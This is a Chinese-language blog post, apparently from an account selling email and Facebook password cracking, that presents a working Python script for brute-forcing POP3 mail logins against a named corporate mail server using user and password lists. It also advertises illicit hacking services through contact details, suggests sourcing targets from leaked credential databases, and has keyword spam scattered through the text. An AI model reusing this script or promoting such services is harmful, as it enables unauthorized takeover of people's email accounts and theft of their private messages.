close

hotmail密碼破解,outlook密碼破解,gmail密碼破解,yahoo密碼破解,專業駭客聯絡電郵hkfu2345@hotmail.com   聯絡line id:jphk007

我先說下整體思路:
 
總體就是利用python的poplib模塊來從pop3服務器上交互,根據獲取的相關信息,產生結果。POP3協議並不復雜,它也是采用的壹問壹答式的方式,妳向服務器發送壹個命令,服務器必然會回復壹個信息.
 
首先驗證參數是否正確
Sys.argv[]是用來獲取命令行參數的,sys.argv[0]表示代碼本身文件路徑,所以參數從1開始
然後從用戶密碼文件中讀取信息
pop.getwelcome()用來獲取連接hotmail密碼破解服務器的響應狀態

server = "pop.qiye.163.com"  //設置pop3服務器地址
pop = poplib.POP3(server,110)  //連接pop3服務器
pop.user(user)  //驗證用戶名
auth = pop.pass_(passwd)  //驗證密碼
if auth.split(' ')[0]== "+OK":  //判斷響應的結果是否“OK”
    pring user,passwd
最後輸出出來相關的用戶信息
 
腳本代碼如下:
 
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:w2n1ck
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''
import threading, time, random, sys, poplib
from copy import copy
if len(sys.argv) !=3:
  print "\t   --------------------------------------------------\n"
  print "\t    Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
  sys.exit(1)
server = "pop.qiye.163.com"
success = []
try:
    users = open(sys.argv[1], "r").readlines()
except(IOError):
    print "[-] Error: urerlist打開失敗!\n"
    sys.exit(1)
try:
    words = open(sys.argv[2], "r").readlines()
except(IOError):
    print "[-] Error: passlist打開失敗hotmail密碼破解!\n"
    sys.exit(1)
try:
  pop = poplib.POP3(server,110)
  welcome = pop.getwelcome()
  print welcome
  pop.quit()
except (poplib.error_proto):
  welcome = "No Response"
  pass
def mailbruteforce(listuser,listpwd):
  if len(listuser) < 1 or len(listpwd) < 1 :
    print "An error occurred: No user or pass list"
    return 1
  for user in listuser:
    for value in listpwd :
      user = user.replace("\n","")
      value = value.replace("\n","")
      try:
        print "-"*12
        print "[+] User:",user,"Password:",value
        time.sleep(1)
        pop = poplib.POP3(server,110)
        pop.user(user)
        auth = pop.pass_(value)
        print auth
        if auth.split(' ')[0]!= "+OK" :
          pop.quit()
          print "unknown error !"
          continue
        if pop.stat()[1] is None or pop.stat()[1] < 1 :
          pop.quit()
          print "獲取信息失敗!"
          continue
        ret = (user,value,pop.stat()[0],pop.stat()[1])
        success.append(ret)
        pop.quit()
        break
      except:
        #print "An error occurred:", msg
        pass
print "\t   --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
  for ret in success:
    print "\n\n[+] Login successful:",ret[0], ret[1]
    print "\t[+] Mail:",ret[2],"emails"
    print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"
測試結果:
 
 
 
說明:
用戶字典文件需要@domain.com,類似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com這樣的。由於我也沒有企業郵箱的賬號密碼,也就沒測試成功的,要是感興趣,可以搜壹下相關社工褲。
 
附:
 
python 中 os._exit(), sys.exit(), exit() 的區別是什麽?
 
sys.exit(n) 退出程序引發壹個SystemExit異常, 可以捕獲異常執行些清理工作. hotmail密碼破解n默認值為0, 表示正常退出. 其他都是非正常退出. 沒有捕獲這個異常,會直接退出;捕獲這個異常可以做壹些額外的清理工作。 壹般主程序中使用此退出
os._exit(n), 直接退出 Python 解釋器,其後的代碼都不執行, 不拋異常, 不執行相關清理工作. 常用在子進程的退出.
exit() 跟 C 語言等其他語言的 exit() 應該是壹樣的
pop3收取郵件的過程壹般是:
 
連接pop3服務器 (poplib.POP3.__init__)
發送用戶名和hotmail密碼破解進行驗證 (poplib.POP3.user poplib.POP3.pass_)
獲取郵箱中信件信息 (poplib.POP3.stat)
收取郵件 (poplib.POP3.retr)
刪除郵件 (poplib.POP3.dele)
退出 (poplib.POP3.quit)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
命令 poplib方法    參數     狀態     描述
-----------------------------------------------------------------------------------------------
USER  user     username  認可  用戶名,此命令與下面的pass命令若成功,將導致狀態轉換
PASS  pass_   password  認可  用戶密碼   
APOP  apop   Name,Digest 認可   Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT  stat    None     處理  請求服務器發回關於郵箱的統計資料,如郵件總數和總字節數
UIDL  uidl   [Msg#]    處理  返回郵件的唯壹標識符,POP3會話的每個標識符都將是唯壹的
LIST  list   [Msg#]    處理  返回郵件數量和每個郵件的大小
RETR  retr   [Msg#]     處理  返回由參數標識的郵件的hotmail密碼破解全部文本
DELE  dele   [Msg#]     處理  服務器將由參數標識的郵件標記為刪除,由quit命令執行
RSET  rset   None      處理   服務器將重置所有標記為刪除的郵件,用於撤消DELE命令
TOP   top     [Msg#]    處理   服務器將返回由參數標識的郵件前n行內容,n必須是正整數
NOOP  noop   None    處理  服務器返回壹個肯定的響應

arrow
arrow
    創作者介紹
    創作者 駭客破解 的頭像
    駭客破解

    facebook密碼破解,破解facebook密碼,聯絡hkfu2345@hotmail.com 聯絡line id:jphk007

    駭客破解 發表在 痞客邦 留言(0) 人氣()